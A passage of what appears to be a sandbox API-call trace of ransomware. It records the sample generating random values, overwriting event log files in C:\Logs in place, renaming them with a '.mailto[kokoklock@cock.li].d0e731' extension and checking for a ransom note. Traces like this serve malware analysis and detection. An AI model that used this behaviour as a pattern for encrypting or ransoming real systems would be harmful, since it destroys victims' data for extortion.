Seed=0xbbefb8c) returned 0x80d85ad1 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xc4ce2e2 [0168.072] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x2e3ef53e [0168.073] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xb884e2a3 [0168.073] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x5520e8f [0168.073] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x3738775d [0168.073] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xa25af38f [0168.073] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xa07f8c63 [0168.073] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xc39e60e6 [0168.073] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xe24eb683 [0168.073] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0xca8d04f [0168.073] RtlRandom (in: Seed=0xbbefb8c | out: Seed=0xbbefb8c) returned 0x80cc54ef [0168.082] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0168.084] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0168.084] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887a0 [0168.084] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0168.084] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0168.084] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0168.084] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.084] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbbefb58, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xbbefb58*=0x4096, lpOverlapped=0x0) returned 1 [0168.087] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.087] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0168.087] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0168.087] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88700 [0168.087] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88700) returned 1 [0168.088] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0168.088] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886d8 [0168.088] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88610 [0168.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88610) returned 1 [0168.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0168.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0168.088] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbbefb58, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xbbefb58*=0x4096, lpOverlapped=0x0) returned 1 [0168.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0168.088] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.088] WriteFile (in: hFile=0x528, lpBuffer=0x2f886d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbbefb90, lpOverlapped=0x0 | out: lpBuffer=0x2f886d8*, lpNumberOfBytesWritten=0xbbefb90*=0x20, lpOverlapped=0x0) returned 1 [0168.089] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886d8) returned 1 [0168.089] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0168.089] WriteFile (in: hFile=0x528, lpBuffer=0x2f887a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbbefba4, lpOverlapped=0x0 | out: lpBuffer=0x2f887a0*, lpNumberOfBytesWritten=0xbbefba4*=0x8, lpOverlapped=0x0) returned 1 [0168.089] WriteFile (in: hFile=0x528, lpBuffer=0xbbefbbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbbefba4, lpOverlapped=0x0 | out: lpBuffer=0xbbefbbc*, lpNumberOfBytesWritten=0xbbefba4*=0x4, lpOverlapped=0x0) returned 1 [0168.089] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbbefba4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xbbefba4*=0x4, lpOverlapped=0x0) returned 1 [0168.089] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbbefba4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xbbefba4*=0x6c, lpOverlapped=0x0) returned 1 [0168.089] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbbefba4, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xbbefba4*=0x20, lpOverlapped=0x0) returned 1 [0168.089] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbbefba4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xbbefba4*=0x4, lpOverlapped=0x0) returned 1 [0168.089] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0168.089] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0168.090] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f887a0) returned 1 [0168.090] CloseHandle (hObject=0x528) returned 1 [0168.090] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x2f83db0 [0168.090] wcscpy (in: _Dest=0x2f83db0, _Source="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731" [0168.092] wcscat (in: _Dest=0x2f83db0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0168.092] MoveFileW (lpExistingFileName="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\setup.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\setup.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0168.093] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.093] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83db0) returned 1 [0168.093] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.093] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3908 [0168.093] wcscpy (in: _Dest=0x2fe3908, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0168.093] wcscat (in: _Dest=0x2fe3908, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0168.093] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0168.093] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3908) returned 1 [0168.093] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f71128) returned 1 [0168.093] RtlExitUserThread (Status=0x1) Thread: id = 1689 os_tid = 0xcbc [0168.095] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\system.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0168.096] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.096] CreateFileW (lpFileName="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\system.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0168.097] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xbc6fa70 | out: lpFileSize=0xbc6fa70*=1118464) returned 1 [0168.097] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1110fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.097] ReadFile (in: hFile=0x528, lpBuffer=0xbc6fa44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbc6fa40, lpOverlapped=0x0 | out: lpBuffer=0xbc6fa44*, lpNumberOfBytesRead=0xbc6fa40*=0x4, lpOverlapped=0x0) returned 1 [0168.098] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.098] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0168.098] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0168.098] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884f8 [0168.098] NtQuerySystemTime (in: CurrentTime=0xbc6fa1c | out: CurrentTime=0xbc6fa1c*=132121213254126848) returned 0x0 [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x201c02ff [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x8fee8089 [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0xd52452f2 [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x48d81369 [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x5fb7b3cb [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0xc835c5f1 [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0xeddec90e [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0xea24313c [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0xf07a6530 [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x686e643b [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0xfbd248dc [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x6d1cb63f [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0xe4735e9d [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x3f6b4af6 [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0xa6f76872 [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0xd33c0d83 [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x10e9da0f [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x5dae8167 [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x8d8d3bdf [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0xad82358c [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x87c1f955 [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x5b62ab14 [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x56cdb8aa [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0xc49fbb71 [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x4e13a83c [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0xe1db896 [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0xa120b4fa [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x54716d4f [0168.098] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x6b73c790 [0168.099] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x53351430 [0168.099] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0x78b2b64b [0168.099] RtlRandom (in: Seed=0xbc6fa28 | out: Seed=0xbc6fa28) returned 0xc549ca39 [0168.107] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0168.109] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faacf0 [0168.109] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88458 [0168.109] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faacf0) returned 1 [0168.109] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0168.109] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0168.109] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.109] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbc6f9dc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xbc6f9dc*=0x4096, lpOverlapped=0x0) returned 1 [0168.111] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.111] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0168.111] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0168.111] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88340 [0168.111] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88340) returned 1 [0168.112] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0168.112] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f882c8 [0168.112] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88160 [0168.112] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88160) returned 1 [0168.112] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0168.112] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0168.112] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbc6f9dc, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xbc6f9dc*=0x4096, lpOverlapped=0x0) returned 1 [0168.113] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0168.113] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x893ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.113] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbc6f9dc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xbc6f9dc*=0x4096, lpOverlapped=0x0) returned 1 [0168.114] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x893ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.114] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0168.114] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0168.114] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f882f0 [0168.114] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f882f0) returned 1 [0168.115] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0168.115] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88548 [0168.115] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0168.115] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 [0168.115] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0168.115] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0168.115] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbc6f9dc, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xbc6f9dc*=0x4096, lpOverlapped=0x0) returned 1 [0168.115] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0168.115] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x10d06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.115] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbc6f9dc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xbc6f9dc*=0x4096, lpOverlapped=0x0) returned 1 [0168.116] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x10d06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.116] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87110 [0168.116] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faade0 [0168.116] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88160 [0168.117] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88160) returned 1 [0168.117] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0168.117] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88318 [0168.117] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0168.117] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0168.118] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faade0) returned 1 [0168.118] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0168.118] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbc6f9dc, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xbc6f9dc*=0x4096, lpOverlapped=0x0) returned 1 [0168.118] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0168.118] WriteFile (in: hFile=0x528, lpBuffer=0x2f882c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbc6fa38, lpOverlapped=0x0 | out: lpBuffer=0x2f882c8*, lpNumberOfBytesWritten=0xbc6fa38*=0x20, lpOverlapped=0x0) returned 1 [0168.118] WriteFile (in: hFile=0x528, lpBuffer=0x2f88548*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbc6fa38, lpOverlapped=0x0 | out: lpBuffer=0x2f88548*, lpNumberOfBytesWritten=0xbc6fa38*=0x20, lpOverlapped=0x0) returned 1 [0168.118] WriteFile (in: hFile=0x528, lpBuffer=0x2f88318*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbc6fa38, lpOverlapped=0x0 | out: lpBuffer=0x2f88318*, lpNumberOfBytesWritten=0xbc6fa38*=0x20, lpOverlapped=0x0) returned 1 [0168.118] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0168.118] WriteFile (in: hFile=0x528, lpBuffer=0x2f88458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbc6fa40, lpOverlapped=0x0 | out: lpBuffer=0x2f88458*, lpNumberOfBytesWritten=0xbc6fa40*=0x8, lpOverlapped=0x0) returned 1 [0168.119] WriteFile (in: hFile=0x528, lpBuffer=0xbc6fa58*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbc6fa40, lpOverlapped=0x0 | out: lpBuffer=0xbc6fa58*, lpNumberOfBytesWritten=0xbc6fa40*=0x4, lpOverlapped=0x0) returned 1 [0168.119] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbc6fa40, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xbc6fa40*=0x4, lpOverlapped=0x0) returned 1 [0168.119] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbc6fa40, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xbc6fa40*=0x6c, lpOverlapped=0x0) returned 1 [0168.119] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbc6fa40, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xbc6fa40*=0x20, lpOverlapped=0x0) returned 1 [0168.119] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbc6fa40, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xbc6fa40*=0x4, lpOverlapped=0x0) returned 1 [0168.119] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0168.119] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0168.119] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88458) returned 1 [0168.119] CloseHandle (hObject=0x528) returned 1 [0168.119] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f84200 [0168.119] wcscpy (in: _Dest=0x2f84200, _Source="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731" [0168.119] wcscat (in: _Dest=0x2f84200, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0168.120] MoveFileW (lpExistingFileName="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\system.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\system.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0168.120] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.120] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84200) returned 1 [0168.120] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.121] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3c48 [0168.121] wcscpy (in: _Dest=0x2fe3c48, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0168.121] wcscat (in: _Dest=0x2fe3c48, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0168.121] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0168.121] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3c48) returned 1 [0168.121] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaed0) returned 1 [0168.121] RtlExitUserThread (Status=0x1) Thread: id = 1690 os_tid = 0x9dc [0168.124] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\windows powershell.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0168.125] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.125] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\windows powershell.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0168.125] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xbcefc08 | out: lpFileSize=0xbcefc08*=69824) returned 1 [0168.125] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.125] ReadFile (in: hFile=0x528, lpBuffer=0xbcefbdc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbcefbd8, lpOverlapped=0x0 | out: lpBuffer=0xbcefbdc*, lpNumberOfBytesRead=0xbcefbd8*=0x4, 